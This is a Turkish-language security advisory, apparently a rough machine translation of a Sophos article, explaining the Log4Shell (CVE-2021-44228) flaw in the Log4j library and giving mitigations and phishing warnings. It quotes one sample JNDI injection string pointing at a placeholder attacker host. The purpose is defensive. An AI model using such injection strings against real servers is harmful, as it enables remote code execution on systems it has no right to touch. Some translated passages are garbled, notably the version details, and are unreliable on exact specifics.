Java Güvenlik Açığı Log4j - Log4Shell - Ne oldu ve şimdi ne yapmalı. Hafnium, Kaseya veya Solarwinds'den sonra şirketler bir kez daha acilen Log4j - Log4Shell adlı yüksek profilli bir sunucu güvenlik açığıyla uğraşmak zorunda. Sophos en önemli gerçekleri açıklığa kavuşturur ve size ne yapmanız gerektiğini söyler.
Log4Shell adı, yararlanılmakta olan kusurun Log4j (Java için Logging) adlı popüler bir Java kod kitaplığında yer aldığı ve saldırganların bu güvenlik açığından başarılı bir şekilde yararlanması durumunda etkili bir şekilde bir kabuk - herhangi bir sistem kodunu çalıştırma fırsatı - elde ettikleri gerçeğini ifade eder. senin seçimin
“Log4Shell saldırısının kilit noktası, sunucunun otomatik olarak kod yürütmesidir. Bir saldırgan, güvenlik açığı olan bir sunucuya ne yapmak isterse, onu yapabilir. Bu yüzden mümkün olan en kısa sürede yama yapmak son derece önemlidir, çünkü hiçbir işe yaramayan pek çok insan şimdiden hangi sunucuların hala savunmasız olduğunu test etmeye çalışıyor."
Paul Ducklin, Sophos'ta BT güvenlik uzmanı
Ve sanki bu komut yeterli değilmiş gibi, güvenlik açığı, bir yama mevcut olmadan önce belgelenecek bir güvenlik açığı olan sıfırıncı gün güvenlik açığı olarak tweetlendi. Ayrıca GitHub'da kavram ispatı (PoC) yayınlandı ve sorun henüz yama yapılmamışken dünya çapında bilinir hale geldi. Alarm zilleri Cuma gününden beri tüm dünyada ve örneğin Almanya'da yüksek sesle çalıyor. BSI kırmızı uyarı seviyesini açıkladı.
Yanlış giriş doğrulaması
Artık resmi olarak CVE-2021-44228 olarak bilinen güvenlik açığı, savunmasız bir sunucuya, siber suçluların Sunucunun onları yazmasını beklediği (hatta bildiği) bazı verileri (HTTP başlığı gibi) içeren zararsız bir istek gönderildiğinde ortaya çıktı. onun günlük dosyası. Bu şekilde enjekte edilen veriler gizli bir "bubi tuzağı" oluşturur çünkü sunucu verileri günlük kaydı için uygun bir formata dönüştürürken, gerekli günlük girişini oluşturmanın ayrılmaz bir parçası olarak bir web indirme işlemi başlatır. Ve bu işlem zordur, çünkü geri gelen veriler geçerli bir Java programıysa (bir .class dosyası, jargonda), o zaman sunucu, günlük verilerini oluşturmasına yardımcı olmak için bu dosyayı yürütür.
Yama uygulanmamış Log4j kitaplığı, günlüğe kaydetme gereksinimlerine izin verir
İşin püf noktası, Log4j kitaplığının yama uygulanmamış sürümlerinin, genel LDAP (dizin hizmetleri) aramalarının yanı sıra diğer çeşitli çevrimiçi aramaları tetiklemek için varsayılan olarak günlüğe kaydetme isteklerine izin vermesidir. Bu "özellik", çok kullanışlı olmayan verileri, örneğin OZZJ5JYPVK gibi kullanıcı kimliklerini, Peter Miller gibi ağınızda anlam ifade eden, insanlar tarafından okunabilir bilgilere dönüştürmeye yardımcı olmak için vardır. Bu istekler, Java Adlandırma ve Dizin Arabirimi'nin kısaltması olan JNDI adlı yaygın olarak kullanılan bir Java araç seti aracılığıyla yapılır.
Bu yaklaşım, sunucu tarafında kod yürütmeyi tetikleyebilen günlüğe kaydedilen veriler kendi ağınızdaki dizin sunucularıyla sınırlı olduğu sürece geçerlidir. Ancak, birçok sunucu buna uygun şekilde kurulmamıştır ve bu nedenle kötü niyetli "logsploiters", şirketlerin otomatik olarak günlüğe kaydetmesini ve sunucuya kaydetmesini bekledikleri verilere {$jndi:ldap://dodgy.example:389/badcode} gibi metinler yerleştirmeye çalışabilir.
- Belirtilen güvenilmeyen harici sunucuda belirtilen bağlantı noktasına (bizim örneğimizde 389) bir LDAP isteği göndermek için JNDI'yı kullanın.
- kötü konum kodundaki güvenilmez içeriği getirin.
- günlük kaydıyla ilgili "yardım" almak için saldırgan tarafından sağlanan kodu çalıştırın.
Basitçe söylemek gerekirse, bu uygulama teknik jargonda kimliği doğrulanmamış Uzaktan Kod Yürütme (RCE) olarak bilinir. Siber suçlular oturum açmadan veya bir parola ya da erişim belirtecine ihtiyaç duymadan zararsız görünen bir istek kullanarak sunucuları kandırarak raporlama yapabilir, kodlarını indirebilir ve böylece kötü amaçlı yazılımlarını kendilerine bulaştırabilir. Bir sunucunun dahili ağa hangi erişim haklarına sahip olduğuna bağlı olarak, böyle bir RCE, siber suçluların çeşitli kötü niyetli görevleri gerçekleştirmesine yardımcı olabilir.
Mevcut satranç noktası Log4Shell'i bu kadar tehlikeli yapan da tam olarak budur. Saldırganlar teorik olarak sunucunun kendisinden veri çekebilir; Dahili ağ hakkındaki ayrıntıları öğrenin, sunucudaki verileri değiştirin; ağdaki diğer sunuculardan veri sızdırmak; gelecekteki saldırılar için sunucuda veya ağda ek arka kapılar kurun veya ağ gözetleyicileri, bellek kazıyıcılar, veri hırsızları ve kripto madencileri gibi ek kötü amaçlı yazılımlar yükleyin.
Şimdi ne yapmalı!
Lisans Veren Apache, bu konuyla ilgili pratik bir güvenlik danışma belgesi yayınladı. Sophos ayrıca en önemli şeyleri tekrar özetliyor:
- Apache Log4j 2.15.0'a yükseltin. Log4j kullanıyorsanız, 2 ve önceki sürümlerin herhangi bir 2.14.1.x sürümü varsayılan olarak savunmasızdır. (Hala Log4j 1.x kullanıyorsanız, artık güncellemeler sağlanmadığı için yükseltme de zorunludur).
- JNDI'nin güvenilmeyen sunuculara istekte bulunma olasılığını engelleme. Güncelleyemiyorsanız ancak Log4j 2.10.0 veya üstünü kullanıyorsanız, log4j2.formatMsgNoLookups yapılandırma değerini true olarak ayarlayabilirsiniz, bu da giden LDAP ve benzeri aramaları en başta engeller.
- Kullanılan Java çalışma zamanı kontrol ediliyor. Kullanmakta olduğunuz temel Java derlemesi, kendi varsayılan yapılandırmasına göre bu hatanın atılmasını engelleyebilir. Örneğin Apache, Oracle Java 8u121'i bu RCE'ye karşı koruma olarak açıkça listeler.
Güvenlik açığı özel kullanıcıları da etkiliyor mu?
Log4Shell sadece şirketler için kırmızı alarm anlamına gelmez, aynı zamanda özel kullanıcılar da boşluğun etkilerinden etkilenebilir. Bu, özellikle bireyler bir barındırma şirketi veya başka bir yönetilen hizmet sağlayıcısı tarafından işletilen bulut sunucularını (ister bir blog, ister forum veya aile web sitesi) kullandığında geçerlidir. Burada yapılacak ilk şey, bu hizmetlerin savunmasız olup olmadığını ve yamaların ne zaman planlandığını öğrenmektir. Sağlayıcılar şu anda büyük olasılıkla e-postalarla dolu olduğundan, şu anda ilgili web sitelerinde bilgi aramak kesinlikle daha mantıklı.
Servis sağlayıcılardan gelen mesajlara dikkat edin
Ayrıca posta kutusunda kullanılan online servislerden gelen resmi güvenlik uyarılarına da dikkat edilmelidir... fakat burada da dikkatli olmak önemlidir! Kullanıcılar mevcut güvenlik açığı hakkında - muhtemelen yine önde gelen bir hizmet sağlayıcıdan - mesajlar alırlarsa, kritik bir inceleme yapmadan uyarıda verilen bağlantılara otomatik olarak tıklamamalı veya telefon numaralarını çevirmemelidirler. Log4Shell gibi medyadan anlayan siber saldırılar, kimlik avı saldırıları için kullanıcıların korkusunu kullanmak isteyen bedavacıları hızla kışkırtır. Kullanıcılar şüpheye düştüğünde, daha önce kullandıkları URL'leri, e-posta adreslerini veya telefon numaralarını kullanarak kendi bilgi alma yollarını bulmalıdır.
Daha fazlası Sophos.com'da
Sophos Hakkında Sophos, 100 ülkede 150 milyondan fazla kullanıcı tarafından güvenilmektedir. Karmaşık BT tehditlerine ve veri kaybına karşı en iyi korumayı sunuyoruz. Kapsamlı güvenlik çözümlerimizin kurulumu, kullanımı ve yönetimi kolaydır. Sektördeki en düşük toplam sahip olma maliyetini sunarlar. Sophos uç noktalar, ağlar, mobil cihazlar, e-posta ve web için ödüllü şifreleme çözümleri ve güvenlik çözümleri sunar. Tescilli analiz merkezlerinden oluşan küresel ağımız SophosLabs'tan da destek var. Sophos'un genel merkezi Boston, ABD ve Oxford, İngiltere'dedir.